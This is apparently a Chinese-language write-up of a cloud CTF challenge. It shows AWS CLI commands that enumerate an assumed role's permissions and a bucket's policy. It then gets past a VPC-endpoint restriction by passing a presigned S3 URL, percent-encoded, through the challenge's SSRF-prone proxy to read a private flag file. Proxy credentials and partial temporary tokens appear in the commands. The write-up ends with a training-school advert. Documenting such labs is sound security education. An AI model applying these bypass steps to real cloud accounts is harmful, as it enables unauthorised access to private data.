我们首先查一下这个用户有的 bucket 的权限
首先获取当前用户信息
root@hcss-ecs-0d0e:~# aws sts get-caller-identity --profile challenge01
{
"UserId": "AROARK7LBOHXDP2J2E3DV:i-0bfc4291dd0acd279",
"Account": "092297851374",
"Arn": "arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279"
}
然后我们查看对应的策略
root@hcss-ecs-0d0e:~# aws iam simulate-principal-policy \
--policy-source-arn arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279 \
--action-names s3:ListBucket s3:GetObject s3:PutObject s3:DeleteObject s3:ListAllMyBuckets \
--profile challenge01
An error occurred (AccessDenied) when calling the SimulatePrincipalPolicy operation: User: arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279 is not authorized to perform: iam:SimulatePrincipalPolicy on resource: arn:aws:sts::092297851374:assumed-role/challenge01-5592368/
root@hcss-ecs-0d0e:~#
可惜这个用户没有权限,我们直接列
root@hcss-ecs-0d0e:~# aws s3 ls --profile challenge01
An error occurred (AccessDenied) when calling the ListBuckets operation: User: arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279 is not authorized to perform: s3:ListAllMyBuckets because no identity-based policy allows the s3:ListAllMyBuckets action
没有列出桶的权限,不过我们知道桶的名称
root@hcss-ecs-0d0e:~# aws s3 ls s3://challenge01-470f711/ --recursive --profile challenge01
2025-06-19 01:15:24 29 hello.txt
2025-06-17 06:01:49 51 private/flag.txt
读取文件绕过
尝试读取的时候可惜
root@hcss-ecs-0d0e:~# aws s3 cp s3://challenge01-470f711/private/flag.txt - --profile challenge01
download failed: s3://challenge01-470f711/private/flag.txt to - An error occurred (403) when calling the HeadObject operation: Forbidden
没有读的权限
我们还是得查查存储桶的策略
root@hcss-ecs-0d0e:~# aws s3api get-bucket-policy --bucket challenge01-470f711 --profile challenge01
{
"Policy": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Deny\",\"Principal\":\"*\",\"Action\":\"s3:GetObject\",\"Resource\":\"arn:aws:s3:::challenge01-470f711/private/*\",\"Condition\":{\"StringNotEquals\":{\"aws:SourceVpce\":\"vpce-0dfd8b6aa1642a057\"}}}]}"
}
限制只有指定 VPC 端点(VPCe) 的请求才可以访问,否则即使有权限也会被拒绝
怎么办呢
聪明的 GPT 给出了答案
也让我想起了 proxy
root@hcss-ecs-0d0e:~# curl "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://s3.amazon
aws.com/challenge01-470f711/private/flag.txt"
HTTP error: 403 Forbiddenroot
但是结果是还是被阻止了
这里可能 proxy 不在 VPC,不过我们可以验证一下
但是刚刚都读取成功了,大概率是在的
没办法,只能寻找好朋友的帮助了
首先需要了解一下 SigV4 签名,在 AWS 中访问私有资源(如 S3 对象)时,AWS 要求你的请求是已签名的
参考https://docs.aws.amazon.com/zh_cn/AmazonS3/latest/userguide/ShareObjectPreSignedURL.html
默认情况下,所有 Amazon S3 对象都是私有的,只有对象拥有者才具有访问它们的权限。但是,对象拥有者可以通过创建预签名 URL 与其他人共享对象。预签名 URL 使用安全凭证来授予下载对象的限时权限。可以在浏览器中输入此 URL,或者程序使用此 URL 来下载对象。预签名 URL 使用的凭证是生成该 URL 的 AWS 用户的凭证。
我们需要使用预签名
https://docs.aws.amazon.com/zh_cn/AmazonS3/latest/userguide/using-presigned-url.html创建预签名 URL 时,必须提供您的安全凭证,然后指定以下内容:
一个 Amazon S3 存储桶
对象键(如果将在您的 Amazon S3 存储桶中下载此对象,则一旦上传,这就是要上传的文件名)
HTTP 方法(GET 用于下载对象、PUT 用于上传、HEAD 用于读取对象元数据等)
过期时间间隔
按照这个我们直接运行命令生成如下的签名
root@hcss-ecs-0d0e:~# aws s3 presign s3://challenge01-470f711/private/flag.txt --profile challenge01 --expires-in 3600
https://challenge01-470f711.s3.amazonaws.com/private/flag.txt?AWSAccessKeyId=ASIARK7LBOHXEXWELX36&Signature=WT7zPvNKLF6zr%2Fi4%2FGvqpJHoZzs%3D&x-amz-security-token=IQoJb3JpZ2luX2VjELb%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIC6AH%2B4pBi%2BUXSj7Xih2aQvR3LmiwIQ8TeL%2BO6Gv2iotAiEAi6CjgMDpky
然后我们带着这个签名
但是内容一直被截断,很烦,我直接 URL 全编码后再次去访问
root@hcss-ecs-0d0e:~# curl "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=%68%74%74%70%73%3a%2f%2f%63%68%61%6c%6c%65%6e%67%65%30%31%2d%34%37%30%66%37%31%31%2e%73%33%2e%61%6d%61%7a%6f%6e%61%77%73%2e%63%6f%6d%2f%70%72%69%76%61%74%65%2f%66%6c%61%67%2e%74%78%74%3f%41%57%53%41%63%63%
The flag is: ********
成功
总结
总的来说,真的是很有实战意义的一次挑战,感觉整个过程前因后果是非常连贯的
获取桶名称->
不能匿名访问->获取配置信息-
元数据
不能直接访问-走代理
mapping 泄露 proxy
元数据绕过 IMDSv2 安全机制
获取用户信息,查看权限
列取文件位置
vpc 限制,来联想 proxy
403,考虑预签名 URL 授予
行云流水
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

